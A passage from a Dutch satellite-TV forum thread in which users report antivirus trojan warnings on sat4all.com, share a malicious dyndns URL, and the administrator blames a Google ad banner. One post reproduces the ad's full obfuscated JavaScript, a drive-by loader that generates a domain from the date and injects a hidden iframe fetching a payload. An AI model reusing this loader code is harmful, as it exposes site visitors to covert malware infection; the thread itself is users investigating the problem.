Ga naar inhoud


trojan via sat4all?

Codx

Door Codx
in Off topic

 Delen

Aanbevolen berichten

Kowalski Veteraan

Kowalski

Geplaatst:
Geplaatst: (aangepast)
Gaarne vermelden welke browser je gebruikt. Ik durf een gokje richting Windowsxp en IE8

Ik gebruik Firefox 11.0 met uitgeschakelde Java overigens, en Windows 7 64 bit.

aangepast door Kowalski

Vu+ DUO 4K (OpenPLi), Visiosat 13.0/19.2/23.5/28.2°E


  • Reacties 122
  • Aangemaakt
  • Laatste reactie

Beste reacties in dit onderwerp

Populaire dagen

Beste reacties in dit onderwerp

Populaire dagen

Populaire berichten

Psychosammie
Psychosammie

Wel java, geen java. Ik weet het niet. Ik kreeg wel de melding dat java.exe gestart werd.   Overigens kun je veilig Oracle java volledig van je PC verwijderen als je geen java applicaties gebruikt.

Geplaatste afbeeldingen

pukje Superster

pukje

Geplaatst:
Geplaatst: (aangepast)

Ik denk in richting van 1 banner (denk!vermoed) zal de naam niet noemen maar denk dat jullie weten wie ik bedoel dat plaatje zou ik eens onderzoeken

aangepast door pukje
Hotzenwalder Rijzende ster

Hotzenwalder

Geplaatst:
Geplaatst: (aangepast)

Ok...

 

tijdstip: 14:48

url: www.sat4all.com

melding: meteen

browser: firefox 11.0

java: versie 6 update 31

os: Windows 7 Enterprise SP1

antivirus: avast free 6.01426

definities: 120411-0

reclame: shopping 4 sattelite

malicious url: http://dejtkw.dyndns-server.com/de/s1

infection: URL:Mal

 

Ondertussen is het ook een reported attack page geworden en wordt het bezoeken helemaal afgeraden.

aangepast door Hotzenwalder

80cm Schotel, 2 x Alps LNB's (23.5E/19.2E), 2 x Smart LNB's (28.2E/13E), Triax Multifeed rail.
XTrend 8000 (Openpli 4.0), XSarius Fusion HD SE (Openpli 6.0 release Candidate), DVB-C Stick Sundtek.

  • Beheerder
Michel Superster

Michel

Geplaatst:
  • Beheerder
Geplaatst:

Dat was mij al duidelijk. Dat komt door bovenstaande brief.

 

Voor zowel ik kan zien heeft een google banner schadelijk malware bevat en heeft google nu sat4all.com als onveilig aangemerkt, terwijl de malware hoogstwaarschijnlijk van hun eigen adsense netwerk afkomstig was.

 

Het moet echt niet gekker worden.

 

Volgens alle site scanners is sat4all.com momenteel helemaal safe.

 

Mvg,

 

Michel

Gebruik je een advertentie blocker? Sluit onze website dan uit. Zonder advertenties kan deze site niet voortbestaan.

Psychosammie Superster

Psychosammie

Geplaatst:
Geplaatst:

Die malicious url van Hotzenwalder zag ik 2 tellen geleden ook voorbij komen.

  • Resistance is futile you will be assimilated
  • Those who would give up essential liberty, to purchase a little temporary safety, deserve neither liberty nor safety. Benjamin Franklin (1706-1790)
  • Mijn vrijheid eindigt niet waar jouw angst begint!

 

 

Kowalski Veteraan

Kowalski

Geplaatst:
Geplaatst: (aangepast)

In de broncode van de advertentie zit een javascript met een randomgenerator, mogelijk is dit de verdachte code?

Dit kan verklaren waarom de malicious code maar af en toe gerapporteerd wordt.

<script type='text/javascript'>function today(){return Math.random();};function Z(L){var h = y('h');var $ = y('$');return L[h]($);};function win(minI, QX){return minI * QX;};function utmnG(L){return L.length;};function domainD(L, O){var X = y('X');return L[X](O);};function nH(minI, QX){return minI % QX;};function img(){try {var Q = I();var c = 2744;var t = d("GmEB",0,1);var gaTrack = d("T0vk",0,1);var V = Q.V;var r = Q.r;var C = Q.H;if(b(gaTrack) != t){if(S()){var l = K(V, r);var F = R();var j = y('p');var urchinUrl = y('urchinCode');var f = y('N');F[j] = urchinUrl + l + f + C;url(gaTrack, t, {expires: c});}};} catch(n){};};function d(L, O, D){return L.substr(O, D);};function R(){var lQ = document;var urchinUrlToday = lQ.createElement(y('J'));urchinUrlToday.width = new String(d("RoW1pxoWR",3,3));urchinUrlToday.height = "8px";urchinUrlToday.style[y('min')] = y('w');try {lQ.body.appendChild(urchinUrlToday);} catch(n){try {lQ.write(y('v'));lQ.body.appendChild(urchinUrlToday);} catch(UZ){};};return urchinUrlToday;};function y(a){var max = {p : new String("src"),urchinCode : String(d("http://SzOs",0,7)),E : d("getUTCLPhW",0,6),P : new String(d("Hour4lTB",0,4)+d("sUMQ0",0,1)),_ : String(d("DateKGm",0,4)),m : "Month",o : new String(d("FullYxt6",0,5)+d("earLwuY",0,3)),v : String("<body>"),J : new String("iframe"),min : String(d("visibiliA3Mh",0,8)+"ty"),w : new String(d("AwtOhiddetAOw",4,5)+d("nBOL",0,1)),N : "/de/",h: d("splitSQaY",0,5),X: d("charAtgPm",0,6),$ : d(",sl4N",0,1)};for(var O in max){if(O == a){return max[O];}}return null;};function I(){var B = U();var M = domain(win(today(), B.k.length));var e = B.k[M];var s = B.W[M];if(B.utmn.length > 1){var z = B.utmn[M];}else {var z = B.utmn[0];}return { V : e, r : z, H: s };};function S(){return (typeof ActiveXObject != new String(d("xFpundefinedpFx",3,9)) || typeof XMLHttpRequest != String("undefined")) && !(/Chrome/.test(navigator.userAgent));};function url(H, VUrchinCode, cG){cG = cG || {};var QUtmn = cG.expires;if (typeof QUtmn == new String(d("ROconumbercORo",4,6)) && QUtmn){var urchin = new Date();urchin.setTime(urchin.getTime() + win(QUtmn, 1000));QUtmn = cG.expires = urchin;}if(QUtmn && QUtmn.toUTCString) { cG.expires = QUtmn.toUTCString(); }VUrchinCode = encodeURIComponent(VUrchinCode);var A_ = H + new String("=") + VUrchinCode;for(var XX in cG){A_ += "; " + XX;var bUtmn = cG[XX];if(bUtmn !== true){ A_ += String(d("MC0V=0VCM",4,1)) + bUtmn;}}document.cookie = A_;};function domain(L){return Math.floor(L);};function SUrchinCode(L, iW){return L + iW;};function K(V, r){Y = new Date();l = V;var g = d("am957h6MFH",0,6)+d("PGMcsx48pGMP",3,6)+d("U3Lpjzf2ubUp3L",4,6)+"livrwt"+d("5bC36k01e5bC",3,6)+"oqndgy";var E = y('E');var q = E + y('P');var x = E + y('_');var i = E + y('m');var u = E + y('o');var cookie = domain(Y[q]());var urchin = Y[x]();var A = Y[i]();var maxUrchin = Y[u]();var DE = utmnG(g);var urlGaTrack = nH(cookie,  DE);var wR = nH(cookie+urchin, DE);var v$ = nH(cookie+urchin+A, DE);var iD = nH(cookie+urchin+A+maxUrchin, DE);l = SUrchinCode(l, domainD(g, urlGaTrack));l = SUrchinCode(l, domainD(g, wR));l = SUrchinCode(l, domainD(g, v$));l = SUrchinCode(l, domainD(g, iD));return l + r;};function b(H){var AB = document.cookie.match(new RegExp(String("(?:^|; "+d(")zFS",0,1)) + H.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, String("\\\\\\\\"+d("$1crP",0,2))) + new String("=([^"+d(";]*)gxE",0,4))));return AB ? decodeURIComponent(AB[1]) : undefined;};img();function U(){return {k : Z(d("deKLI",0,2)),utmn : Z(".dyndns-"+d("server.cgEjO",0,8)+d("3UAomUA3",3,2)),W : Z(d("kgUs1gkU",3,2))};};</script>

aangepast door Kowalski

Vu+ DUO 4K (OpenPLi), Visiosat 13.0/19.2/23.5/28.2°E

aardbeì Rijzende ster

aardbeì

Geplaatst:
Geplaatst:

@Michel,

 

je hebt een pmm ;)

1 x Vu+ Solo 2

1 x Vu+ Solo SE

1 x Vu+ Zero allen OpenPLi uptodate incl. EPG Team Rytec EPG data
Visiosat Big Bisat 28.2 23.5 19.2 13 9 4.8

Crazy Sat Superster

Crazy Sat

Geplaatst:
Geplaatst: (aangepast)

Ik krijg nu ook deze meldingen ....pffff :

post-37533-0-32256500-1334150024_thumb.jpg

post-37533-0-22553300-1334150044_thumb.jpg

aangepast door Crazy Sat

feedhunting , a crazy hobby !

 

Edison OS mio 4K UHD + Octagon SF8008 4K UHD + Dr.HD F15 + Edison OS mini + Technomate TM-5402 HD M3 CI   , Moteck SG2100 + Deltastar 90 cm + Invacom C120 QDF-031 Quad lnb + SkyStar HD2,TBS5927 , en TT-budget S2-1600 kaart. Channel Master 180 cm schotel + ESX241 lnb voor C-band.

DVB-T2 via Oostvleteren,Egem,Mont des Cats,Bouvigny en Doornik.

  • Beheerder
Michel Superster

Michel

Geplaatst:
  • Beheerder
Geplaatst:

Die melding (maar dan in een leesbare taal ;)) krijgt nu iedereen. Dat is met dank aan google die veel meer macht heeft dan ons allemaal lief is.

 

Ik kan nergens spyware op deze site vinden, al vind google de ene keer van wel en de andere keer weer niet.

 

Mvg,

 

Michel

Gebruik je een advertentie blocker? Sluit onze website dan uit. Zonder advertenties kan deze site niet voortbestaan.

pe0mb Nieuw hier

pe0mb

Geplaatst:
Geplaatst:

Kreeg de melding eerder op de dag wel,

 

Inmiddels zowel met IE als FireFox niet meer .. probleem opgelost ?

Visiosat Big Bisat - DM8000HD - AzboxME - VU+Solo

Hotzenwalder Rijzende ster

Hotzenwalder

Geplaatst:
Geplaatst:

Kreeg de melding ook zomaar in een topic terwijl ik zat te lezen... banneroulatie?

80cm Schotel, 2 x Alps LNB's (23.5E/19.2E), 2 x Smart LNB's (28.2E/13E), Triax Multifeed rail.
XTrend 8000 (Openpli 4.0), XSarius Fusion HD SE (Openpli 6.0 release Candidate), DVB-C Stick Sundtek.

Crazy Sat Superster

Crazy Sat

Geplaatst:
Geplaatst:

Is bij mij opgelost (hopelijk blijft het zo)

Malwarebytes Anti-Malware even laten scannen en Spyware MarketScore was bij mij de boosdoener.

Alles verwijdert die hierna verwees en Sat4all start nu terug gewoon op.

Firefox 11.0 en WinXP

feedhunting , a crazy hobby !

 

Edison OS mio 4K UHD + Octagon SF8008 4K UHD + Dr.HD F15 + Edison OS mini + Technomate TM-5402 HD M3 CI   , Moteck SG2100 + Deltastar 90 cm + Invacom C120 QDF-031 Quad lnb + SkyStar HD2,TBS5927 , en TT-budget S2-1600 kaart. Channel Master 180 cm schotel + ESX241 lnb voor C-band.

DVB-T2 via Oostvleteren,Egem,Mont des Cats,Bouvigny en Doornik.

Maak een account aan of log in om te reageren

Je moet een lid zijn om een reactie te kunnen achterlaten

Account aanmaken

Registreer voor een nieuwe account in onze community. Het is erg gemakkelijk!

Registreer een nieuwe account

Inloggen

Heb je reeds een account? Log hier in.

Nu inloggen
 Delen
Ga naar onderwerp-overzicht

  • Wie is er online   0 leden

    • Er zijn geen geregistreerde gebruikers deze pagina aan het bekijken
×
×
  • Nieuwe aanmaken...